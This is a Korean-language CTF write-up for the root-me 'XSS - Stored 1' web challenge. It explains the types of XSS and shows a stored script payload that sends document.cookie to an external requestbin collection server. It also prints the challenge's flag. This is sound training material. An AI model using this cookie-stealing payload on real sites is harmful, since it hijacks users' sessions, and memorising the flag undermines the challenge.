본문 바로가기

WARGAME/root-me : web-client [web]

root-me : web-client / 9) XSS - Stored 1 [write-up]

 

 

관리자 세션 쿠키를 탈취해서 문제를 해결하라고 한다.

 

문제를 풀기 전에 xss 를 잠깐 정리하면서 복습하고 가자. 

* xss
: cross site scripting

: 이름에서도 알 수 있듯이 scripting, 즉 자바 스크립트가 사용된다는 뜻.

: 공격자가 사용자의 웹 브라우저에 악성 스크립트 코드를 주입하고, 사용자가 악성 스크립트 코드를 실행함으로써,  
  사용자의 정보를 악의적으로 탈취하는 공격 기법.

: 공격자의 최종 목표- 자바 스크립트 코드가 일반 사용자 브라우저에서 실행되어 피해주기.

 

 

* 종류3

1) reflected 
 (전제 조건  1. Alice 는 서버와의 통신을 통해 세션 토큰을 포함하는 쿠키를 부여 받은 상태
                  2. 서버에는 취약점이 존재)

: Bob은 자바 스크립트 코드를 포함하는 조작된URL Alice에게 전송 

 (예를 들어 세션 토큰을 Bob이 원하는 페이지로 보내는 등)

: Alice Bob의 조작된 URL을 서버에 요청 

: Bob이 원한 응답이 Alice 의 브라우저에서 실행 및 세션 탈취 


2) stored
: 반사와 다른 점 - 앨리스를 통해 반사 시키는 것이 아니라 악성 스크립트를 포함한 것을 먼저 서버에 올려두게 됨

: 반사, 저장 공통점: 서버를 이용


! 여기서 구분 !

반사: BobAlice를 통해 악성 스크립트를 포함한 요청을 서버에 보냄-> Alice가 비슷한 시기에 접속을 하고 있어야 함(임시적)

저장: Bob이 직접 서버에 그냥 악성 스크립트를 반영구적으로 저장-> 유사한 시점이 필요 없음(반영구적)


! 공통점 !
: reflected 
와 stored 는 서버의 취약점을 사용

 

3) DOM (Document Object Model)

: 앞 방식들과는 다르게 이 방식은 *클라이언트의 취약점을 사용*

: 반사 방식과 흐름이 똑같고, 다만 서버로의 응답에 Bob의 자바스크립트가 포함되지 않는다는 점만 다른 점.

: , 클라이언트 브라우저 쪽의DOM 취약점을 이용해서 자바 스크립트가 실행됨
 (실행 자체가 브라우저에 있는DOM에 의한 것이라는게 차이점)

 

 

그럼 이제 문제풀이 다시 시작!

우선 xss 공격이므로 가장 기본적으로 alert 함수를 메세지 필드로 입력했을 때 alert 가 뜨는지 확인해본다.

 

 

 

이렇게 title 없이 message 만 입력할 경우 아무런 창이 뜨질 않았다.

따라서 우선 title 을 채워주고 a 가 뜨는지 확인해본다.

 

 

a 가 뜨는 것을 확인할 수 있었다.

 

 

 

그래서 message 필드에 alert(“document.cookie”) 를 입력해보았다.

실망..

 

 

안되는 것을 확인하고, 

이렇게 바로하는게 아니라 서버 주소를 url창에 넣어서 내 서버에서 원하는 값을 확인하는 방법을 써봐야겠다고 생각했다.

 

 

! 여기서 !

내 서버가 없거나 아파치로 사용하기 번거로울 때 사용하면 좋은 사이트가 있다.

 바로 requestbin.net

 

이곳에서 create request bin 을 이용해 서버 주소를 간단하게 발급받아 사용할 수 있다.

 

 

 

이렇게 발급 받은 주소 url 을 이용해서

 

 <script>document.write("<img src='내 서버 주소"+document.cookie+"'></img>");</script>

이런식으로 입력해준다. 

참고 - https://frogment.blogspot.com/2018/11/root-mexss-stored1.html
https://blackperl-security.gitlab.io/blog/2018/07/27/2018-07-27-webtour-02/

 

 

 

이렇게 주입할 자바 스크립트 코드를 짜주고 send 하면서 계속 될 때까지 받은 응답을 확인하다 보면

 

 

 

이렇게 querystring 으로 admin_cookie 가 뜨는 것을 확인할 수 있다.

 

admin_cookie 가 나올 때까지 계속 send 하고 새로 고침을 한 끝에 얻어낼 수 있었다. 

지금까지 푼 root-me 문제 중에 가장 시간이 많이 소요된 문제였다.

 

 

flag: NkI9qe4cdLIO2P7MIsWS8ofD6